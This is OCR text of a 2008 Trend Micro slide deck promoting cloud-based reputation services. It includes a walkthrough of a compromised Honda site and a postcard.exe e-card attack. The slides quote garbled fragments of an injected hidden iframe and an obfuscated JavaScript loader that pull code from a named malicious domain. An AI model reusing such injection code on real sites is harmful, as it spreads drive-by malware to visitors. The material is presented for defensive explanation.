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Why do we need a new approach
against malware?

Because Cybercrime Is
mainstream now!

A malware industry has
been established!
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Increase In unique malware samples

1988: 1738 unigue malware samples

1998: 177615 unigue malware samples

2008 Jan-May: 2753587 unique malware samples*

Data source: AV-Test.Org, June 2008
* = January - May 2008




Increase In unique malware samples

AV-Test.org's Sample Collection Growth
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Could we rely on this Prognosis?

The Race to Zero contast is being held during Defcon 16 at the Riviera Hotel in Las Vegas, 8-10 August 2008.

The event involves contestants being given a sample set of viruses and malcode to modify and upload through the

contest portal. The portal passes the modified samples through a number of antivirus engines and determines if the
sample is a known threat. The first team or individual to pass their sampile past all antivirus engines undetected wins that

round. Each round increases in complexity as the contast progresses.
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Incoming Threat Samples Per Hour
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A Typical Web Threat — 9th of May 2008
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What does the HTML Code look like?

Fle Edit Wiew Help

“<”td><irng sre="1mages,/p_02.]pg" width="325" height="130" border="0" /»{/td:

RO 1 2
<ty

<tdr{img src="images/p_04.]jpg" width="325" height="130" /> td>
ot
<t

<td-img sre="1mages/p_06.]pg" width="325" height="105" /></td>
<ty
<t

<td-img sre="images/p_bl2.jpg" width="325" height="80" /< td:
Aty

</ tablex</ td>
<td-table width="335" border="0" cellspacing="0" cellpadding="0">
<ty
<td-img sre="images/p_bl@.jpg" width="335" height="65" /> td>
ot
<t
<td-img sre="1mages/p_bll.jpg" width="335" height="70" /< td>
<ty
<t
<td-img sre="images/p_03.jpg" width="325" height="130" />{/td>
<t
<try
<td-img sre="1mages/p_85.]pg" width="325" height="120" >/ td>
e
<t

» HTML_IFRAME. QJ — first detected since
April 29, 2008 using scan engine 8.300 and
pattern file 5.247.00.

[ de-obfuscated.bxt - Notepad
File Edit

<SCRIPT>window.status="Done"; document.writ
e’ <'|Frame name=926aca0f
p://getanewmazda. info/dir /index.p
; +r1ath round(nath random(}%2619547%+ ec3
-1d dd3c3fy’ width=594 height=441
L d'lsp'lay
Vs /i rames " )< /SCRIPT=

Format View Help

<td-img src="images/p_07.jpg" width="33
oty

Sty

o wemerne e 1ITAME .. SIC=\V'NEtP://getanewmazda.info

Getanewmazda.info stores malicious code

Sty
</table>

</body>
</htmL>

<iframe sre="http://url’ width='1' height='1' style='visibility: hidden; '»</iframex{script=function v4€.2210e7b881(v4822218e7c050){ function v4822210e7c826 () {var v4822210e7cffl=16;

return v4822218e7cff1;} returniparselnt(v4822210e7cE58, v4822218e7c826() ) ); Hunction v4822210e7d7cl(v4822218e7dfh3}{ function v4822210e7f6fe () {var v4822210e7fece=2; return

v4822210e7fece;} var v4822210e7e77d=""

;for(v4822210e7ef30=0; v4822210e7ef30<v4822210e7dfb3. length; v4822210e7efi0+=v4822210e7fofe()){

v4822210e7e77d+=(String. fromCharCode (v4822210e7h881(v4822210e7dfh3 . substr(v4822210e7ef30, v4822210e7f6fe()))));}return v4822210e7e77d;}
document.write(v4822210e7d7c0( ' 305343524950543E77696E646F 772E7374617475733027446F 6EGS273B646F63 756065 6E 742E777269746528273 (696672616065 206E6160653062666430623 13565626220737263305C2
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Fast Reaction from Honda!

6@ * & http:f v honda,co tH w

Datei  Bearbeiten  Ansicht  Favoriten  Extras 7
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How does the infection chain work?

Here is what happens when users visit the compromis ed Web site:

User visits

Because of the malicious

The getanewmazda site

legitimate Honda

script, the browser loads
the getanewmazda site

contains a script to look for
and exploit vulnerabilities on
the system to download
CRYPT.EXE

Infected sites site
detected as
HTML_IFRAME.QJ |

Detected as
TSPY_ZBOT.LA

Site contains an Downloaded file
encrypted bin file which  EINSESSCSRAUI(IE] o]o] [[ef=Hefe]y
contains config and stolen
information Site tagged as
known malicious in
Web Reputation
Database

If no vulnerabilities are

found, browser is redirected
to google.com

VISIBLE TO THE USER NOT VISIBLE TO THE USER

User protected by

. Trend Micro
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Trend Micro Smart Protection Network (Web)

Correlation:

UR End User 3rd Party URL Threat URLs in Customer URLs
SOU I‘CI n g Sourcrng Query Traffic Crawler sources Research Spam Mails Feedback

URL

« 3.5 billion URL requests per day
20 million+ install base
99.9999%+ uptime

s7dN

« 5 data center (US, EMEA, APAC)
1000 production servers

Analysis

Automatic Rating Systems

JIT Human Validation

URL Database

Malicious EXE or URLs

Category Collaboration

Anti-Spam
—> .
Operation

Category Reputation

Zone Builder/Dispatcher

|

Worldwide Services Dispatch

URL Services URL Services URL Services

Query Points Query Points Query Points

Point
Products
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N Anti-Malware
- Operation
Threat Res_
Operation
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Email Security Services

Email
—> E 2
Reputation Services

Category & Reputation Score +

DNS & HTTP

URL Filtering Service

Web Reputation Service

—_— OEM Partners

URLs with m;v{

AVIAS Detection Signature or Heuristics
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Processing of a Web Threat - Honda example

URL End User 3rd Party URL Threat URLs in
Sourcing Query Traffic Sources Research Spam Mails

|
(Aframm e bt /Jurl et gty yLie vicibgLity: haddin, o/ ramedsceptofunstion Va2 0uTeR) (ARIOMLANTERGON( fnction vaRmIBeTcsl () {var vR2LIRTefL=1; T
return vA2L106Tc 1L} rturnparselnt ol 5, vLER AwTCR280) : onction vdh2 221 TcdlvABL200GTOrbS N function viBRIBeTIéfe () {var vibR2MoMcasl; rtu Virus Scan Engine VSAPI (heuristics):
VI N0eMfece; | var S22 L6eneTde'" for(odsiantferi oed; vARDIIGeret oendfa) et Lemmth; viB2Mhetef beii2220entEfel 1210127434 61.91.242.26 1 TREIGSA15
10200 5tr 0, fronCharCdevA2 06T vt 0eraf. ubstr AR 1eef30, va2L0ETESd )1 )1 retum vABRRTIRTeTHd a .’ i
e R L AT S 2 A e T G S A S 1.5.1102 43ttt 3 POSS|bIe_H|frm-2 0
¢ http:%2f%2fwww.honda.co.th%2fjazz%2f

Anti-Malware

Operation

Infected sites > | Getanewmazda.info
detected as malicious! .
HTML_IFRAME.QJ '
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On Premise +
In the Cloud with correlation

« Email Reputation =—> Since 2005 (Kelkea)

- Web Reputation =—> Since 2006 (TIS)

 File Reputation =—>» NOW

* Powered by Trend Micro’s
— Own Malware Analysis
— Own Spam Analysis
— Own URL Analysis

— Own Whitelisting
— Customer Feedback Loop/Correlation Engines

— HoneyPots and Web Crawlers
- Integration into Trend Micro and Third-Party Products (Sony, Linksys, Cisco




Why File Reputation in the Cloud?

The traditional approach to Malware protection places the burden
of storage and detection intelligence ON the customer.

.

Burden of Storage

Negative Effects

» vastly increasing endpoint resource usage
(disc, cpu, memory)

e increasing network bandwidth

* increasing delays in handling new threats
* outdated clients?

Endpoint
) TRENR 20)
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Why File Reputation in the Cloud?

The future approach to Malware protection places the burden of
storage and detection intelligence In the cloud.

Burden of Storage

Advantages

* minimal endpoint resource usage

* consistent network bandwidth usage

« immediate handling of new threats

e increased awareness of localized threats

Endpoint
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Pros and Cons for File Reputation In The Cloud
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A Typical Attack
An electronic
greeting card
convinces the user
to open the
attachment...

license to

lo.v.e.

Skype
L]
i
YMware Player
Unused Desktop
Shorteuts
o
NxPowerlite2.5
»
|
Ulkralingu




o2
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OOOPS? What happened?

* File postcard.exe was advertised through a link in an email message

 The user clicked the link and file postcard.exe was downloaded and
executed

* File postcard.exe tried to download additional malicious content from
known bad sites

 The download attempts have been blocked by Trend Micro‘s
OfficeScan utilizing Web Threat Protection

e So Trend Micro‘s Smart Protection Network knows now, that there is
something bad about postcard.exe downloaded via a specific link

 So0 what's happening next in the backend?




Backend Processing of this incident:

Web Threat
Protection event

_‘L (client) ’1‘_

Customer End User
Feedback Loop Query Traffic
postcard.exe with URL accesses
Hash Code triggered by - Web
XYZ5XY from site postcard.exe are Crawler
Xyz seems to be malicious
malicious
Now processing by Smart Protection Network ...
URLs in
Mails




While the systems are busy in the data
centers:




¥4 Inbox - Dutlook Enpress

I File' Edit Mew Tools Message Help

Renly el A G o Delete: Send/Recy Addresses Find

Folders 18] % [ From | Subject | Recoived
%51 Sutlook Exprass ] Pipostcard@halmark, com  YOL HAVE RECEIVED A HALLMARK E-CARD £/12/2008 9:39 AM
£ Local Folders ] Piiposteard@halmark, com . YOLI HAVE RECEIVED A HALLMARK E-CARD 6/12/2006 10:57 ...
& Inbox
. €Zh outbox

2 Sent Tems

Another user e
receives the greeting
card as well.

From: To:
Subject:

Thete is no message selected.

Contacks = =

But he saves the There s o oot 1o oy ik
attachment on the
harddrive. -

2 message(s), 0 unread @ Working Online

| g -3 @ “If;l Inbox - Outlook Expre... |§7 b 2:00AM
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§8 Inbox - Dutlook Express
| Ele Edt ew Tools Message Help

D—l - s‘i Q """’Q " x
Cregte Mai Rl Renlvdll  Foratd Print DiElete

-3 TR
{2 L} l;,kj] .
SendfRecy fddresses  Find

% Inbox

Folders x|[tT8]% [Fom | subject | Received - |
[ Outlook Express a 2 posteard@halmark.com  YOU HAVE RECEIVED & HALLMARE E-CARD 61212008 9:39 &M
E@ Local Folders 1] Efpostcard@hallmark, com YO HAVE RECEIVED & HALLMARE E-CARD 61212008 10:57 ... |
B3 Inbox
J@ Outhoy
----- ‘ﬁﬂl Sent Ikems
----- @ Deleted Items
L. 5B} Drafts
From: _ To:
Subject:
a
There is no message selected.,
Q:unl:a::ts_ - ==
There are no contacts to display, Click
on Conkacks to create a mew conback,
2

2 messagels), 0 urread

mﬁtar.lfi I & & @ “@j‘l:nhuu - Outlook Expre...

@f Working Online |

HBYE 200



Processing Is done

Web Threat
Protection event

Customer EndUser
Feedback Loop Query Traffic
¢ ¢ URL Database

postcard.exe with URL accesses
Web

Hash Code XYZ5XY triggered by >
from site xyz seems postcard.exe are
to be malicious malicious Zone Builder/Dispatcher

Crawler

v

Email New Pattern File to ‘ ‘ New Web Blocking ‘
mal

detect postcard.exe Rules

Reputation Services

I New Spam Block Rules I




ch Start Local iCRC server
USAPI~1pt

CB2BFE8

x7CB21178

BxPCE21C38
7C821C48

¢!

The previous was scanning
using OfficeScan with the
local Pattern File

Now let's use OfficeScan,
but not with a local pattern
file, but with a Pattern File
in the ScanServer (in the
Cloud).

& startl | (5 @ @ ||B3 start LocaliCRC server (B Y ED 208 am

And by now, the
ScanServer has received a
Pattern Update from Trend
Micro.
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ch Start Local iCRC server

USAPI~1ptivpn . 279 l’
USAPI~tmpreflt.sys
USAPI~tmxpflt.sys
USAPI~vsapid2 . dll
The process cannot access the file because it is being u
USAPI~UsapiHNT .sys

4 fileds? copied.

1 fileCs) copied.
MtCreatePort=0x7CE21288
MtAcceptConnectPort=0xYCHZAFHH
MtCompleteConnectPort=0x7C821178
MtReplylWaitReceivePort=Ax7YCE2Z1C38
MtReplyWaitReceivePortEx=0x7CE21C48
MtReplyPort=0x7C821C28
MtClose=0x7C821138
HtRegisterThreadTerminatePort=0x"7CE21BES
RBtlinitUnicodeString=0x7CE226HUB
#HICRC Port created, PortHandle=5a4 1444

distart| | (2} &8 l.:"_ﬂ :ﬁﬁtart Local iCRC server




Benefits of Cloud-Client Architecture

Hours Until Protection Is in Place

Pattern File Deployed

Pattern File Received

a

Threat Detected

Protection Deployed

' Protection Received
0 L | __~Threat Detected

Conventional Cloud-Client
Content Security Architecture

Decreaée Security Latency:
Faster Protection Equals Lower Risks and Costs




File Reputation — Feedback Loop

 The feedback loop mechanism does not involve copying or
downloading any files from customer communications for
analysis. When a file in an email attachment is determined by
behavioral analysis to be malicious, the only information that is
sent to the file reputation database is a “fingerprint” of the file—
the minimum required to uniquely identify that file, along with
references to IP addresses associated with spam or potentially
malicious websites.

» All of this is accomplished without downloading the entire file, or
In any way accessing the business data that is included in that
file. In no case is any information stored that would allow the file
to be traced to an end user or customer organization.




By the Numbers

Smart Protection Network

5 Billion

Queries Handled Daily

1,000

Dedicated Content Security
Experts at TrendLabs

50 Million

New IP Addresses / URLs
Processed Daily

T
T

1.2 Terabyte

Data Processed Daily

247

Multiple Data Centers Operating
Around the World

250 Million

Malware Samples Processed
Each Year
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Trend Micro Enterprise Security

Powered by Smart Protection Network -
n-the-Cloud -
Tlecthnolcégies 'J

<

PROTECTION

Immediate Protection. Less Complexity. |




Trend Micro Enterprise Security powered
by Smart Protection Network

voddns
wiolield

Minimize your

Time to Protection



SecureCloud Portal — securecloud.com

" Login el
MIEE'.?E SecureCloud : Threat Protection Services g

Email IP Reputation Search |E| Email Reputation Services
b=l Address:l
SecureCloud™
(For E).cample: 127.0.0.1) stops Web threats 7 3 : ") : ; .
where the-v start. ) . - Reqgister a new Account

Trend Micro SecureCloud services
detect and stop emerging threats E] |

befere th h twork. InterScan Messaging
efore they reach your networ T it

Email IP Reputation: Email IP @
Reputation services provide a | - More Information e 1
trustworthy rating for an IP address that t et ad.a ! —Elach Bemo @ B @ =
tells how likely an email message from T — a-'
- : e 2 - - 30-Day Trial f 1

that IP will be spam or contain malicious o
and unwanted content. AriGLC et h
Web Reputation Search B ERS | IMHS | WFRM Trend Micro SecureSite =
Website: I |

5 5 Free Botnet Report - tial Email Reputation Services and find out if you have " ;

{Example: example.com) zombies on your network. - More Information

- Free Trial T

Ermail Reputation Services blocks up to 20% of spam meszages before thay
reach your netwark, Sign up for a free 30-day trial and registar your mail
server's IP address, View reports and monitor when spar is being sent from
wour network,

Rasult Examplas

Worry-Free Business Security E|

Web Reputation: Web Reputation HUStEd (Beta)

services provide a trustworthy rating Currant Service Status) ¥ N Cetails
for @ URL that tells how likely a web R R R @
page is fraudulent or contains malicious = S AR e LM LREREY eV B

- Free Trial

| and unwanted content.

_ Do you have Zambies?
File Reputation Search = 2 Gatjour F ree z v
= Set yoL

Filenzme: I - = .

Global File Stats | - Flash Dema @

File Reputation Services: File @

Reputation Services provide a

trustworthy result for a file that is known
| to be malicious or not.

Worry-Free Remote Manager E]
e —
__Sm'l!h Sign up tor 3 oe-trlal nay lore Forrm atic ..' E- R )

- More Information | e



Questions?

Answer

Thank State that time
Audience has run out
Leave




Trend Micro Securing Your Web World
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